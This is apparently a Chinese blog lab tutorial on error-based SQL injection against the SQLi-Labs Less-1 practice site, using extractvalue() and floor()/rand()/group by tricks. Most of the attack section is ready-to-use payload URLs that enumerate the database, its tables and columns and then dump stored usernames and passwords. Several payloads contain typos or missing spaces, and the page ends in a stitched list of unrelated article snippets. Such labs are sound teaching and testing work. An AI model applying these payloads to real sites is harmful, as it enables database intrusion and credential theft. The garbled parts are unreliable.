本章目的

普及报错功能函数extractvalue()的用法,演示基于报错的SQL注入基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器及其插件Hackbar、等

(3)登录账号密码:操作系统帐号Administrator,密码789
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0下载环境搭建
(3)登录账号密码:操作系统帐号root,密码258

实验原理

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来

报错注入一般需要具备两个前提条件:

(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;

(2)后台未对一些具有报错功能的函数进行过滤常用的报错功能函数包括 extractvalue()、 updatexml()、floor()、exp()等。

2)关于 extractvalue()函数

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素

语法: extractvalue (XML document, XPath_string)

参数1: XML document是 String格式,为XML文档对象的名称;

参数2: XPath_string(Xpath格式的字符串),注入时可操作的地方。

报错原理:xml文档中查找字符位置是用/x/xx/xxx)...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如: XPATH syntax

error: XXXXXXXX'。

(3)关于foor()函数

在进行报错注入时,floor()函数一般需要与rand()、 count()、 group by联用。

作用:

floor(x):对参数x向下取整

and():生成一个0~1之间的随机浮点数

count(*):统计某个表下总共有多少条记录

group by x:按照(by)一定的规则(x)进行分组;

报错原理:foor()函数与 group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由 group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如: Duplicate entry'...' for key'group_key'。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助 extractvalue()函数,亦或是借助floor()函数、rand()、count()、group by联用,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码

1,访问SQLi-Labs网站

在攻击机 Pentest-Atk打开 FireFox浏览器,并访问靶机 A-SQLI-Labs上的SQLi-Labs网站Less-1。访问的URL为:

http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

登录后,根据网页提示,先给定一个GET参数,即:

http://靶机IP/sq1i-1abs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面 按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入 过程中用Hackbar插件来调整payload参数。

在此输入框中设置 payload,设置完成后点击 Execute按钮执行

2.寻找注入点

分别使用以下3条 payload寻找注入点及判断注入点的类型

http://.机IP/sqli-labs/Less-1/?id=1'

运行后报错!

http://IP/sqli-1abs/less-1/?id=1' and '1'='1

运行后正常显示!

http://IP/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点

3.获取网站当前所在数据库的库名

使用以下 payload 获取网站当前所在数据库的库名

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat('~',database())) --+

显示结果为 security

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and(select 1 from(selectcount(*),concat(database(),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)--+

 显示结果为security。注意:请忽略后面的1。

4.获取数据库 security的全部表名

使用以下 payload获取数据库 security的全部表名

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

显示结果中,有一个名为 users的表,这当中可能存放着网站用户的基本信息

注意: extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示,上述 payload可以改为

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+

/显示 security库中的第1张表的名字

以此类推:

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+

/显示 security库中的第2张表的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+

/显示 security库中的第3张表的名字

.........................................................................................................................................................

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示 security库中的第1张表的名字为 emails

注意:请忽略最后显示的1

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示 security库中的第2张表的名字为 referers

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示 secunity库中的第3张表的名字为 uagents。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第4张表的名字为users。

5.获取 users表的全部字段名

使用以下 payload获取 users表的全部字段名

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )))--+

显示结果, users表中有id、 username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助 limit来做分行显示,上述 payload可以改为

//显示 users表中的第1个字段的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1)))--+

//显示 users表中的第2个字段的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users'  limit 2,1)))--+

//显示 users表中的第3个字段的名字

.........................................................................................................................................................

使用以下payload获取users表的字段名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' limit 0,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第1个字段名字为id。

注意:请忽略最后显示的1

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第2个字段名字为username。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第2个字段名字为password。

综合以上显示结果,users表中有id、usemame和password三个字段。

6.获取 users表id、 username和 password字段的全部值。

由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit m.n的方式逐条显示,如

(1)显示第1组数据

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 0,1)))--+

显示结果为Dump,Dump

(2)显示第2组数据

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 1,1)))--+

显示结果为 Angelina,- kill-you

(3)显示第3组数据

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 2,1)))--+

显示结果为Dummy,p@ssword。

以此类推,另一种方法 (忽略最后的1,结果相同)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 0, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 1, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 2, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
基于报错的注入两种方式实验至此结束

SQL注入 ——sql数据库操作基础(一)

SOL注入——基于联合查询的数字型GET注入(二)

SQL注入——基于联合查询的字符型GET注入(三)

...

关注我即刻查看其他SQL注入

SQL注入——基于报错的注入(五)相关推荐

  1. sql注入 1-1_基于报错的注入

    sql注入 1-1_ 基于报错注入 1.判断是否存在报错注入 通过 id =1 可以看到服务器返回正常页面 通过 id=1 and 1=1 通过 id=1 and 1=2 服务器也返回正常 通过 id ...

  2. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

  3. sql注入进阶/user-agent/基于报错的注入/保姆级教程/一看就会/

    刚刚写了cisp安全工程与运营,写的我头昏脑胀,迷迷糊糊,接下来开始sql注入第五章节,也是最后一种注入类型"基于报错的盲注"与sqlmap,下一章就开始刷题,争取今天把sql注入 ...

  4. sqli-labs-基于报错的注入

    目录 updatexml()函数 extractvalue()函数 floor()函数 exp()函数 geometrycollection()函数 multipoint()函数 构造参数?id=1& ...

  5. 在Controller注入Service报错的解决方法

    在Controller注入Service报错的解决方法 参考文章: (1)在Controller注入Service报错的解决方法 (2)https://www.cnblogs.com/zhangxj/ ...

  6. 【8008】解决idea中JDBC写sql语句出现报错Unable to resolve table ‘表名‘?

    [8008]解决idea中写sql语句出现报错Unable to resolve table '表名'? 问题背景: 昨天使用JDBC连接数据库中写sql语句,一直爆红,真服了,虽然能运行,但看着不舒 ...

  7. SQL数据库挂起 SQL数据库附加报错 SQL数据库824错误修复

    SQL数据库挂起 SQL数据库附加报错 SQL数据库824错误修复 数据类型 MSSQL 2012 数据大小 4.5 GB 故障检测 附加数据库提示824错误 一般是由于断电非法关机导致页面损坏. 客 ...

  8. c#执行插入sql 时,报错:异常信息:超时时间已到。在操作完成之前超时时间已过或服务器未响应

    c#执行插入sql 时,报错:异常信息:超时时间已到.在操作完成之前超时时间已过或服务器未响应 参考文章: (1)c#执行插入sql 时,报错:异常信息:超时时间已到.在操作完成之前超时时间已过或服务 ...

  9. 自增长主键值设为null时sql语句执行报错

    自增长主键值设为null时sql语句执行报错 1.在进行用户信息添加时,需要把界面获取的数据参数添加到mysql数据库中,数据库表创建方法如下: 可以看出已经把字段id设置为自增长类型的主键(已经标有 ...

最新文章

  1. 北京智能计算产业研究院落户顺义,中科睿芯联手计算所、顺义区打造“产业园2.0”...
  2. linux (centos)下安装 mongodb v3.2 笔记(启动的时候可以指定配置文件)
  3. hdu 1006 Tick and Tick
  4. 深入理解Tomcat和Jetty源码之第一篇前奏知识
  5. C#LeetCode刷题之#840-矩阵中的幻方(Magic Squares In Grid)
  6. 深度学习的实用层面 —— 1.13 梯度检验
  7. 洛谷 P5660 数字游戏
  8. 如何理解操作系统的不确定性_如何创造可信任的机器学习模型?先要理解不确定性...
  9. 视图控制器的View创建方式
  10. Julia: 编译成EXE文件
  11. mtkwin10驱动_Windows系统MTK手动安装驱动教程(Win10通用)
  12. GO程序设计语言学习笔记
  13. 目前比较流行的网站开发框架有哪些?
  14. Jenkins build light on Windows, with Blinky
  15. jd_seckill 使用记录
  16. iphone11返回上一级手势怎么设置_iPhone11怎么返回手势操作
  17. 基于JSP的鲜花店商城平台【数据库设计、源码、开题报告】
  18. ets交易软件测试简历,ETS工具使用指南
  19. Drcom下如何优雅地使用路由器上网
  20. 从零基础到拿到网易Java实习offer,我做对了哪些事

热门文章

  1. qt程序卡死 linux,QtCreator中打开.ui文件时卡死崩溃的解决方法
  2. c语言计算机二级改错题类型,C语言计算机二级改错题
  3. 自己动手写CPU(1)五级流水线及CPU第一条指令ori
  4. 图综合练习--拓扑排序_拓扑排序
  5. insert into 多条数据_「数据库」一千行MySQL命令
  6. linux oracle新建监听,linux 下 oracle图形界面(需配置监听,创建实例)
  7. 【Leetcode_easy】657. Robot Return to Origin
  8. Dockerfile详解(二)
  9. MATLAB实现多元线性回归预测
  10. Fragment的生命周期和activity如何的一个关系